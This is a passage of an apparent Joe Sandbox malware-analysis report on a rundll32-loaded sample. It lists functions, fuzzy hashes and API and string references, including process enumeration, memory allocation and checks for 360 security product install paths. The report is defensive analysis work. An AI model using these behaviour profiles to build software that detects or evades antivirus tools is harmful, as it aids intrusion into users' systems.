Opcode Fuzzy Hash: 9a33609b2a6856a8619b29129fe63f4e792fb1ba5e95133a34c5626e82038bfd
Instruction Fuzzy Hash: 31413D3E619A8186D750DB15E4803AEB7A4FBC4784F605025FA8E83B69EF7ED584CF01

Uniqueness

Uniqueness Score: -1.00%

Function 000001FB3AB7A350 Relevance: 4.6, APIs: 3, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.1996586579.000001FB3AB70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001FB3AB70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1fb3ab70000_rundll32.jbxd

Yara matches

Similarity

API ID: DirectorySystem
String ID:
API String ID: 2188284642-0
Opcode ID: f5b8e15e2d5f741c678a4cffa39018f89b7dc81c4aebc7bfbd20095086e1a026
Instruction ID: 0a77885bd019b44a25d9b3af705b311519e54c4b9ad0b4258c33eb097a7ab1f7
Opcode Fuzzy Hash: f5b8e15e2d5f741c678a4cffa39018f89b7dc81c4aebc7bfbd20095086e1a026
Instruction Fuzzy Hash: 0431033D95CA82C5E6B09B14E4C43FA6368FB84754F600239E69A426D9FF6FD5448702

Uniqueness

Uniqueness Score: -1.00%

Function 000001FB3AB7AD34 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 18memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL ref: 000001FB3AB7AD6A

Strings

@, xrefs: 000001FB3AB7AD46

Memory Dump Source

Source File: 00000006.00000002.1996586579.000001FB3AB70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001FB3AB70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1fb3ab70000_rundll32.jbxd

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID: @
API String ID: 2167126740-2766056989
Opcode ID: 1bc704fd273e58d77e85457f0012f42626ceed0c4d95ff0d4dbaf88ef569351a
Instruction ID: 24001611ebe67e6196830ec87dbf3770f94d1c009a446fe7e6bde4feb8168320
Opcode Fuzzy Hash: 1bc704fd273e58d77e85457f0012f42626ceed0c4d95ff0d4dbaf88ef569351a
Instruction Fuzzy Hash: 7DE0307A628780C2D7409F54E49474BB764FB847B4F901315FAA947BD8CBBDC1148F00

Uniqueness

Uniqueness Score: -1.00%

Function 000001FB3AB778C0 Relevance: 1.6, APIs: 1, Instructions: 61filenativeCOMMON

Download Yara Rule

APIs

Part of subcall function 000001FB3AB7AD34: NtAllocateVirtualMemory.NTDLL ref: 000001FB3AB7AD6A

NtReadFile.NTDLL ref: 000001FB3AB7799F

Memory Dump Source

Source File: 00000006.00000002.1996586579.000001FB3AB70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001FB3AB70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1fb3ab70000_rundll32.jbxd

Yara matches

Similarity

API ID: AllocateFileMemoryReadVirtual
String ID:
API String ID: 1637922817-0
Opcode ID: 36657efa21e47acabbe304ce370d7eda266725ffc383b0fc2da5649518910504
Instruction ID: 133b5e123b823ca29eeceeda9361a497d82eebcdbca0bb9d3cb73225a94c4888
Opcode Fuzzy Hash: 36657efa21e47acabbe304ce370d7eda266725ffc383b0fc2da5649518910504
Instruction Fuzzy Hash: DF210C3A618BC49AD760CB64E49435AB7A5F388790F908425EB8D83B68EFBDC554CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000001FB3AB779C8 Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1996586579.000001FB3AB70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001FB3AB70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1fb3ab70000_rundll32.jbxd

Yara matches

Similarity

API ID: CreateFileInitStringUnicode
String ID:
API String ID: 2498367268-0
Opcode ID: b656561e30d1fd1fc609a6f2f889e1297561c276a586ec00a0fee1a63f198b42
Instruction ID: 921612a3850f40225439326a124dad341a595c5307d66c0f8f75dc9cc5551e84
Opcode Fuzzy Hash: b656561e30d1fd1fc609a6f2f889e1297561c276a586ec00a0fee1a63f198b42
Instruction Fuzzy Hash: 1601ED3E64C681C3E630DB15E48065AB7B4F789788F600125EACC47A59EB7ED651CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000001FB3AB7378C Relevance: 1.5, APIs: 1, Instructions: 25nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL ref: 000001FB3AB737F6

Memory Dump Source

Source File: 00000006.00000002.1996586579.000001FB3AB70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001FB3AB70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1fb3ab70000_rundll32.jbxd

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: d9304d9f457485473b7900aa6a25bb2e7ca8446cd6fe457b90ec29283a0f1812
Instruction ID: 3df06d7478c0b3193587b2b23006b7580df2b3c2b632ef9972a1373ce7edd8e1
Opcode Fuzzy Hash: d9304d9f457485473b7900aa6a25bb2e7ca8446cd6fe457b90ec29283a0f1812
Instruction Fuzzy Hash: 72F0C87D55C64282E3309B10E48079A7764FB843B8F200320F5ED46AD5EB7ED2448F01

Uniqueness

Uniqueness Score: -1.00%

Function 000001FB3AB77A54 Relevance: 1.5, APIs: 1, Instructions: 25filenativeCOMMON

Download Yara Rule

APIs

NtWriteFile.NTDLL ref: 000001FB3AB77AAB

Memory Dump Source

Source File: 00000006.00000002.1996586579.000001FB3AB70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001FB3AB70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1fb3ab70000_rundll32.jbxd

Yara matches

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 13d6e9b28a46ed7aa7967ced570f62f239b9eb5f972fb27ff2d7d829580b4ea2
Instruction ID: 58548e05866c76b0b753b544f6a079cc38874f69dcc32f1ece4469ab07646d95
Opcode Fuzzy Hash: 13d6e9b28a46ed7aa7967ced570f62f239b9eb5f972fb27ff2d7d829580b4ea2
Instruction Fuzzy Hash: ABF0E73AA1CBD187E360CB64F48474BB7A4F384394F604125E6C982F68EBBDC1948F40

Uniqueness

Uniqueness Score: -1.00%

Function 000001FB3AB77B40 Relevance: 1.5, APIs: 1, Instructions: 13nativeCOMMON

Download Yara Rule

APIs

NtFreeVirtualMemory.NTDLL ref: 000001FB3AB77B71

Memory Dump Source

Source File: 00000006.00000002.1996586579.000001FB3AB70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001FB3AB70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1fb3ab70000_rundll32.jbxd

Yara matches

Similarity

API ID: FreeMemoryVirtual
String ID:
API String ID: 3963845541-0
Opcode ID: 05855a3fed8d404054af5e3eef5cf0d9a8da3070589f551744240206e39a9f46
Instruction ID: e42f8bbd0cd5a415cd67f3b89a5fc0cf14f34a8b4eb9685bf3ef10d76b88951c
Opcode Fuzzy Hash: 05855a3fed8d404054af5e3eef5cf0d9a8da3070589f551744240206e39a9f46
Instruction Fuzzy Hash: 59E0E679508B8182D7609B54E4847997774F3853B4FA44315E6B941AF4DF7DC189CF01

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180070044 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 116
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 00000001800701F6

Strings

S5Xl, xrefs: 0000000180070068
k, xrefs: 0000000180070093
pOdy, xrefs: 0000000180070070
w, xrefs: 0000000180070088
)RxR, xrefs: 0000000180070080
MN(U, xrefs: 0000000180070078

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: AllocVirtual
String ID: )RxR$MN(U$S5Xl$k$pOdy$w
API String ID: 4275171209-2056616801
Opcode ID: 47ca1b1a687d22c07fda4f8fc03cbaa4417bc6c6b16434333d34d95eb6fff843
Instruction ID: 4deb1cea13ac9b666c555f1b3f310a4baaf57dd73fee47670c94506e3a1fa1fc
Opcode Fuzzy Hash: 47ca1b1a687d22c07fda4f8fc03cbaa4417bc6c6b16434333d34d95eb6fff843
Instruction Fuzzy Hash: 78413772705648C6EBA68F21E004B9E7BB1F348BC8FA4C115EE4947B89CB7EC649C740

Uniqueness

Uniqueness Score: -1.00%

Function 000001FB3AB733AC Relevance: 9.2, APIs: 6, Instructions: 164
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.1996586579.000001FB3AB70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001FB3AB70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1fb3ab70000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06ad649505e65272b345abbef3c927157fd5b2a45000902e8d273f2bd39a749f
Instruction ID: 96aad39a2267727e0060e6dd7d2f80888f5da6cd310884b1ea9d12524734d23b
Opcode Fuzzy Hash: 06ad649505e65272b345abbef3c927157fd5b2a45000902e8d273f2bd39a749f
Instruction Fuzzy Hash: 5891343D65DB8695EA50DB14F4D03EAB368FF84380F600035E68E426A9FFBAD545CB12

Uniqueness

Uniqueness Score: -1.00%

Function 000001FB3AB73A24 Relevance: 9.1, APIs: 6, Instructions: 110
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32 ref: 000001FB3AB73A6D

Memory Dump Source

Source File: 00000006.00000002.1996586579.000001FB3AB70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001FB3AB70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1fb3ab70000_rundll32.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 28f683417bb40a7b537b498f59f6f3678ae65d175f6e6e2096980ada4a5882a7
Instruction ID: 2dc8a80f24ce7fb32ad7ecbba018f9b1ed19a7e6ad5dfc0d06004ce61af44bc4
Opcode Fuzzy Hash: 28f683417bb40a7b537b498f59f6f3678ae65d175f6e6e2096980ada4a5882a7
Instruction Fuzzy Hash: 6851663D64CB8182E750DB18F4903AAB764F7C57A4F200225EAD947BE8EFBAD444CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000001FB3AB73868 Relevance: 7.6, APIs: 5, Instructions: 102
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.1996586579.000001FB3AB70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001FB3AB70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1fb3ab70000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c40ee5ec7f747c4b479e98bcd982703e9207b45c7ee94fbb0c95756ed98e132e
Instruction ID: 9b4f0520e9bef21039ff8ca5616d7f291f6d4329e34d162e1445376ecdb4b353
Opcode Fuzzy Hash: c40ee5ec7f747c4b479e98bcd982703e9207b45c7ee94fbb0c95756ed98e132e
Instruction Fuzzy Hash: AE41403D98C68385F6605B64D4C53F976ACBF44368F300335E4AA466D5FBBAE5048B23

Uniqueness

Uniqueness Score: -1.00%

Function 000001FB3AB78820 Relevance: 6.0, APIs: 4, Instructions: 28
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 000001FB3AB78836
Process32FirstW.KERNEL32 ref: 000001FB3AB78862
Process32NextW.KERNEL32 ref: 000001FB3AB78880
CloseHandle.KERNEL32 ref: 000001FB3AB7888F

Memory Dump Source

Source File: 00000006.00000002.1996586579.000001FB3AB70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001FB3AB70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1fb3ab70000_rundll32.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 2dc8fd6175d5f81b5a57fe4cd961050eae0e2aeff7595481171681c6ca23b914
Instruction ID: ef54ab91179a74bbda44cbc2c78dd8a87b0c06a922f005479bd6c45b45fad237
Opcode Fuzzy Hash: 2dc8fd6175d5f81b5a57fe4cd961050eae0e2aeff7595481171681c6ca23b914
Instruction Fuzzy Hash: FE01623EA5C681C3E7A0CB15E48436AB768FBC8788F540225A58E86668EF3CD545CB01

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800701F0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 00000001800701F6
VirtualAlloc.KERNELBASE ref: 000000018007026A

Strings

S5Xl, xrefs: 0000000180070240

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: AllocVirtual
String ID: S5Xl
API String ID: 4275171209-3963265540
Opcode ID: 955a37318a42581a82527350a65807328e5baf708e28549c0701e7bd005047f0
Instruction ID: 8627bea6adcabeb617a02013d3036f8ce64dc83beb87997f1cd45eda72222d63
Opcode Fuzzy Hash: 955a37318a42581a82527350a65807328e5baf708e28549c0701e7bd005047f0
Instruction Fuzzy Hash: B63146733116A886CB56CF75A548FEC3BAAF718BC8F5281268E4D07B55DE39C11AC300

Uniqueness

Uniqueness Score: -1.00%

Function 000001FB3AB7B400 Relevance: 4.5, APIs: 3, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNEL32 ref: 000001FB3AB7B498
CloseHandle.KERNEL32 ref: 000001FB3AB7B4AB
CloseHandle.KERNEL32 ref: 000001FB3AB7B4B6

Memory Dump Source

Source File: 00000006.00000002.1996586579.000001FB3AB70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001FB3AB70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1fb3ab70000_rundll32.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateProcess
String ID:
API String ID: 2922976086-0
Opcode ID: cd309ebfe44d1ce1b9eebeab880966758d8a8f2593ff83e7c251b015e6764e6d
Instruction ID: ca8f21d2fc03cd20ce50ad8eab8437923208b666bc88fabfc3a9161fbfdd11df
Opcode Fuzzy Hash: cd309ebfe44d1ce1b9eebeab880966758d8a8f2593ff83e7c251b015e6764e6d
Instruction Fuzzy Hash: 3811FE3A55C781C7E760CB14F4847ABF7A4F7C4354F604525E68982A98EBBDD548CF01

Uniqueness

Uniqueness Score: -1.00%

Function 000001FB3AB789D4 Relevance: 4.5, APIs: 3, Instructions: 38COMMON

Download Yara Rule

APIs

FindFirstVolumeW.KERNEL32 ref: 000001FB3AB78A0E
GetVolumeInformationW.KERNEL32 ref: 000001FB3AB78A62
FindVolumeClose.KERNEL32 ref: 000001FB3AB78A71

Memory Dump Source

Source File: 00000006.00000002.1996586579.000001FB3AB70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001FB3AB70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1fb3ab70000_rundll32.jbxd

Yara matches

Similarity

API ID: Volume$Find$CloseFirstInformation
String ID:
API String ID: 586543143-0
Opcode ID: f8471610ee8cd183a9485870a89c6ee0d7cca4bc8c0aade8722fc7fa7e06f6f6
Instruction ID: f7bbd442598c3f86f436ba9d5db9db5147e9c90ebc7f2463605873eb16f778f8
Opcode Fuzzy Hash: f8471610ee8cd183a9485870a89c6ee0d7cca4bc8c0aade8722fc7fa7e06f6f6
Instruction Fuzzy Hash: 91111C3E55CB8186E7609B54F4C43EAB3A8F784350FA00236E29942AE8EF7DD549CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000001FB3AB73C2C Relevance: 4.5, APIs: 3, Instructions: 15synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32 ref: 000001FB3AB73C49
ReleaseMutex.KERNEL32 ref: 000001FB3AB73C60
CloseHandle.KERNEL32 ref: 000001FB3AB73C6D

Memory Dump Source

Source File: 00000006.00000002.1996586579.000001FB3AB70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001FB3AB70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1fb3ab70000_rundll32.jbxd

Yara matches

Similarity

API ID: CloseEventHandleMutexRelease
String ID:
API String ID: 3391745777-0
Opcode ID: 34ec866cfd7482a0b3d3af7380d3e699ee32a18233fddf405b1384eaf4aff779
Instruction ID: a73f9458537115b9fa03c3464298297fce7e5a1901333e0f1684d45c9c471196
Opcode Fuzzy Hash: 34ec866cfd7482a0b3d3af7380d3e699ee32a18233fddf405b1384eaf4aff779
Instruction Fuzzy Hash: CEF04C3C98978281E6909B19E8943A4A77CBF88B88F640125D44A42275EF7DA455C616

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180070210 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 59memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 000000018007026A

Strings

S5Xl, xrefs: 0000000180070240

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: AllocVirtual
String ID: S5Xl
API String ID: 4275171209-3963265540
Opcode ID: 890a37e0230ef105c6c23fffcb61ff4111ea649d379bd8e7c52efb5e0244a4c1
Instruction ID: cfc6a34ce132622bae8ceb4dc72cd21c5819cecda536a8dbeac765b14806de91
Opcode Fuzzy Hash: 890a37e0230ef105c6c23fffcb61ff4111ea649d379bd8e7c52efb5e0244a4c1
Instruction Fuzzy Hash: 691106723217A885CE61CF35A54CFA82BA9F71CFC8F1691158E4D13B01DE39C019C300

Uniqueness

Uniqueness Score: -1.00%

Function 000001FB3AB788F8 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

RtlFormatCurrentUserKeyPath.NTDLL ref: 000001FB3AB7896F

Part of subcall function 000001FB3AB77B40: NtFreeVirtualMemory.NTDLL ref: 000001FB3AB77B71

Memory Dump Source

Source File: 00000006.00000002.1996586579.000001FB3AB70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001FB3AB70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1fb3ab70000_rundll32.jbxd

Yara matches

Similarity

API ID: CurrentFormatFreeMemoryPathUserVirtual
String ID:
API String ID: 2593304397-0
Opcode ID: f52ee2aa33d777d70af5112c0a56f381be43764fb5e061da45e694194d02d43a
Instruction ID: c20a293f8c99b864851af792473970c71e4d7cc96b0413037156c47252766f77
Opcode Fuzzy Hash: f52ee2aa33d777d70af5112c0a56f381be43764fb5e061da45e694194d02d43a
Instruction Fuzzy Hash: 8C21363EA5C68391EA609B11E4D03FA6368FBD4384F601535A6CE426E9FF6ED5448B02

Uniqueness

Uniqueness Score: -1.00%

Function 000001FB3AB77414 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32 ref: 000001FB3AB77428

Memory Dump Source

Source File: 00000006.00000002.1996586579.000001FB3AB70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001FB3AB70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1fb3ab70000_rundll32.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 252c82bd18f63079363c04d0726cb3e85d9e951d6d0439d97e6f477b3e596fc1
Instruction ID: ef256bddb079c5ae259b8b4714ab1ed82fa3864057e49dc814eb40cad9b64047
Opcode Fuzzy Hash: 252c82bd18f63079363c04d0726cb3e85d9e951d6d0439d97e6f477b3e596fc1
Instruction Fuzzy Hash: B1E0923DE7C69287E3A08B34E8803BA6A58F783350F700530A9D2811D4EB69D0949B02

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800701E0 Relevance: 1.3, APIs: 1, Instructions: 10memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 00000001800701F6

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 121f1415670ded573bb7e3f76694802e64cce90aa816079046d2fabcf07b22fa
Instruction ID: fdd3b53fd5ef90cd25e79b7e67ac9ef4d4291e3d36f58b03b6eae1744e84b5e2
Opcode Fuzzy Hash: 121f1415670ded573bb7e3f76694802e64cce90aa816079046d2fabcf07b22fa
Instruction Fuzzy Hash: 42C01262B0D6D049D7056B7420A469E2FB16762789B05405A4B4163E69C8388206C704

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 000000018004A650 Relevance: 79.3, APIs: 37, Strings: 8, Instructions: 513filesleepmemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 000000018004A762
GetModuleFileNameW.KERNEL32 ref: 000000018004A778
PathAppendW.SHLWAPI ref: 000000018004A79A
ShellExecuteExW.SHELL32 ref: 000000018004A7D9
ILGetSize.SHELL32 ref: 000000018004A879
GetTickCount.KERNEL32 ref: 000000018004A8A3
srand.MSVCRT ref: 000000018004A8AB
GetCurrentProcess.KERNEL32 ref: 000000018004A8C4
GetProcessId.KERNEL32 ref: 000000018004A8CD
GetCurrentThreadId.KERNEL32 ref: 000000018004A8FF
rand.MSVCRT ref: 000000018004A907
LocalAlloc.KERNEL32 ref: 000000018004A956
InitializeSecurityDescriptor.ADVAPI32 ref: 000000018004A96C
LocalFree.KERNEL32 ref: 000000018004A979
SetSecurityDescriptorDacl.ADVAPI32 ref: 000000018004A9D6
CreateFileMappingW.KERNEL32 ref: 000000018004AA10
LocalFree.KERNEL32 ref: 000000018004AA1E
CreateFileMappingW.KERNEL32 ref: 000000018004AA59
MapViewOfFile.KERNEL32 ref: 000000018004AA84
CloseHandle.KERNEL32 ref: 000000018004AA97
memset.MSVCRT ref: 000000018004AAAC
memmove.MSVCRT ref: 000000018004AB4C
memmove.MSVCRT ref: 000000018004AB67
memmove.MSVCRT ref: 000000018004ABB3
memmove.MSVCRT ref: 000000018004ABCC
memmove.MSVCRT ref: 000000018004AC8F
UnmapViewOfFile.KERNEL32 ref: 000000018004ACA8
FindWindowW.USER32 ref: 000000018004ACC1
SetForegroundWindow.USER32 ref: 000000018004ACCF
memset.MSVCRT ref: 000000018004ACE4
wsprintfW.USER32 ref: 000000018004AD17
memset.MSVCRT ref: 000000018004AD2E
WaitForSingleObject.KERNEL32 ref: 000000018004AE1F
Sleep.KERNEL32 ref: 000000018004AE34
CloseHandle.KERNEL32 ref: 000000018004AE4C
CloseHandle.KERNEL32 ref: 000000018004AE5B
CloseHandle.KERNEL32 ref: 000000018004AE66

Strings

open, xrefs: 000000018004A654
%u_%d_%d_%d_%u, xrefs: 000000018004A92D
/%s %s %u, xrefs: 000000018004ACF1
se2, xrefs: 000000018004AD07
se1, xrefs: 000000018004AD10
Progman, xrefs: 000000018004ACBA
..\360DeskAna64.exe, xrefs: 000000018004A78C
Program manager, xrefs: 000000018004ACB3

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Filememmove$CloseHandlememset$Local$CreateCurrentDescriptorFreeMappingProcessSecurityViewWindow$AllocAppendCountDaclExecuteFindForegroundInitializeModuleNameObjectPathShellSingleSizeSleepThreadTickUnmapWaitrandsrandwsprintf
String ID: %u_%d_%d_%d_%u$..\360DeskAna64.exe$/%s %s %u$Progman$Program manager$open$se1$se2
API String ID: 1121195023-828389715
Opcode ID: bf27cba7947237ddb48d80a7ebe4eca32a8cf6ef406abc02a9deeb192b889f14
Instruction ID: 9c018b3ec5208d5dc303fe800ce77a7618bf785d2afa65f14d01c037d361c4e0
Opcode Fuzzy Hash: bf27cba7947237ddb48d80a7ebe4eca32a8cf6ef406abc02a9deeb192b889f14
Instruction Fuzzy Hash: D332CC72604B8886FB96CF25D8803DD73B1F789BD8F528116EA5947BA4DF38C649C708

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180010580 Relevance: 61.5, APIs: 25, Strings: 10, Instructions: 237registryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00000001800105C6
GetModuleFileNameW.KERNEL32 ref: 00000001800105DD
memset.MSVCRT ref: 00000001800105EF
RegOpenKeyExW.ADVAPI32 ref: 000000018001061C
RegQueryValueExW.ADVAPI32 ref: 0000000180010660
RegCloseKey.ADVAPI32 ref: 000000018001066B
PathAddBackslashW.SHLWAPI ref: 0000000180010684
StrCmpNIW.SHLWAPI ref: 00000001800106C8
memset.MSVCRT ref: 00000001800106E0
PathFileExistsW.SHLWAPI ref: 000000018001071C
memset.MSVCRT ref: 0000000180010734
PathFileExistsW.SHLWAPI ref: 0000000180010769
memset.MSVCRT ref: 000000018001077B
PathFileExistsW.SHLWAPI ref: 00000001800107AC

Strings

safemon\360Cactus.tpi, xrefs: 0000000180010834
Path, xrefs: 0000000180010655, 00000001800108D7
safemon\pedrver.dll, xrefs: 0000000180010739
%s\%s, xrefs: 00000001800106EF
360leakfixer.exe, xrefs: 00000001800106E5
SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\360safe.exe, xrefs: 000000018001060B
safemon\FreeSaaS.tpi, xrefs: 0000000180010780
360SkinMgr.exe, xrefs: 0000000180010916
SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\360sd.exe, xrefs: 0000000180010896
hipsver.dll, xrefs: 00000001800107E7

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

